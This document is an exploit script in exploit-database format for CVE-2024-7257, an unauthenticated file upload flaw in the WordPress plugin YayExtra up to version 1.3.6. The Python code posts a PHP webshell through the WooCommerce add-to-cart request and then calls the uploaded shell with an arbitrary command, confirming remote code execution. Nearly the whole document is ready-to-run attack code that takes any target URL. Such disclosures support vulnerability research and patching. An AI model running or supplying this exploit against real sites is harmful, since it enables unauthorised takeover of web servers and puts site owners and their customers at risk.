📄 WordPress YayExtra 1.3.6 Unauthenticated Shell Upload

#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin YayExtra (WooCommerce Extra Product Options) <= 1.3.6 - Unauthenticated Arbitrary File Upload to RCE
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <[email protected]> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/yayextra/
    # Software Link: https://downloads.wordpress.org/plugin/yayextra.1.3.6.zip
    # Version: 1.3.6 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2024-7257
    """
    YayExtra <= 1.3.6 hooks the WooCommerce add-to-cart validation (ProductPage.php) and, when the
    request carries option_field_data files, calls wp_handle_upload($file, ['test_form'=>false,
    'test_type'=>false]) with NO extension/MIME validation (ProductPage.php:1417). An unauthenticated
    add-to-cart POST with a nested option_field_data[.][.] .php file lands a webshell in
    wp-content/uploads/yaye_product_option_uploads/<fixed-hash>/ -> RCE.
    
    Prior state: WooCommerce active + one published product (supply its add-to-cart id).
    """
    import argparse, sys, re
    import requests
    requests.packages.urllib3.disable_warnings()
    TOK = "YAY_PWNED"
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--product-path", default="/product/alpha-widget/")
        ap.add_argument("--product-id", default="50")
        ap.add_argument("--cmd", default="id")
        ap.add_argument("--hashdir", default="19323d118fed0230e4d5f89048279972")
        a = ap.parse_args(); base = a.target.rstrip("/")
        s = requests.Session(); s.verify = False
        shell = ("<?php echo '%s:'; if(isset($_GET['c'])) system($_GET['c']); ?>" % TOK).encode()
        r = s.post(base + a.product_path,
                   files={"option_field_data[0][0]": ("shell.php", shell, "application/octet-stream")},
                   data={"add-to-cart": a.product_id, "option_field_data[0][0]": "x", "quantity": "1"}, timeout=30)
        print(f"[*] add-to-cart upload -> HTTP {r.status_code}")
        u = base + "/wp-content/uploads/yaye_product_option_uploads/%s/shell.php" % a.hashdir
        rr = s.get(u, params={"c": a.cmd}, timeout=15)
        if TOK in rr.text:
            print(f"\n[+] RCE CONFIRMED at {u}\n{rr.text.split(TOK+':')[1].strip()}"); return 0
        print(f"\n[-] not confirmed ({u})"); return 1
    
    if __name__ == "__main__":
        sys.exit(main())